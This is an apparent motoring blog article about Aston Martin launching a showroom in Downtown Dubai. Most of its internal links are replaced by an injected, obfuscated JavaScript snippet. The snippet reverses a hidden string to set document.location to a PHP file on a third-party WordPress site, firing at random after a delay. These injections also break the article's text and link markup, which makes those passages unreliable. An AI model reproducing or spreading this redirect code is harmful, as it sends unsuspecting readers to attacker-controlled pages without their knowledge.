It has been just over a year since we last attended an Aston Martin launch. Sure, in that time we’ve seen the release of both the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-vanquish-video-rising/” target=”_blank”>new Vanquish and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2013-aston-martin-db9-a-new-look-for-genesis/” target=”_blank”>new DB9, but not since the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/presenting-this-weeks-pin-up-aston-martin-zagato/” target=”_blank”>Aston Martin Zagato conglomeration was unveiled at the Burj Khalifa have we felt the tingle of anticipation shortly before the covers are whipped off a new model.
Aston certainly needed big covers for this one, given that the new launch was the company’s all-new state-of-the-art showroom (sorry, luxury boutique showroom) in Downtown Dubai, an event attended by people in meticulously cut suit jackets, expensive haircuts and colourful trousers, i.e. the crème de la crème.
The event included the usual press conference fare: general mingling, slaps on backs, handshakes, little nibbles, and words from company executives – including Aston Martin CEO Dr Ulrich Bez no less, who flew in especially for the event – stating their ‘confidence that Aston Martin will do very well in the UAE’.
For those of us furiously scribbling notes in the back, there was one question in particular we wanted the answer to: after a prolonged hiatus from Dubai, how quickly could Aston Martin re-establish itself in the region?
It’s a tricky situation, and one which Dr Bez and the AMMENA (Aston Martin Middle East and North Africa) powers-that-be are all too well aware of. The good doctor though has an ingenious solution in terms of getting Aston’s name rattling round the top drawer of the market:
“We want you to do it! (laughs)”
We’ll certainly do our best (and that’s not just because, like crankandpiston, Aston is “always looking to do things differently”), but there are some hurdles to face. Brand image for one, with Aston Martin being particularly keen to uphold its identity and heritage in the UAE.
Anybody who doubts their commitment need only look at the stunning display of Aston-ography displayed in front of the showroom, which included among others the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-rapide-king-of-the-urban-jungle/” target=”_blank”>Rapide, the new DB9, the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-martin-one-77-2-x-q-series-dubai-mall/” target=”_blank”>hyper-exclusive One-77 (no, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/aston-martin-one-77-for-just-39000/” target=”_blank”>not that one)…
…and DB5 Superleggera. That, plus the historical tapestry that lined the new showroom’s exterior display area: from the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/aston-martin-cygnet-it-is-an-aston-honest/” target=”_blank”>Cygnet down to the first ever Aston – the 1914 Coal Scuttle – they’re all there.
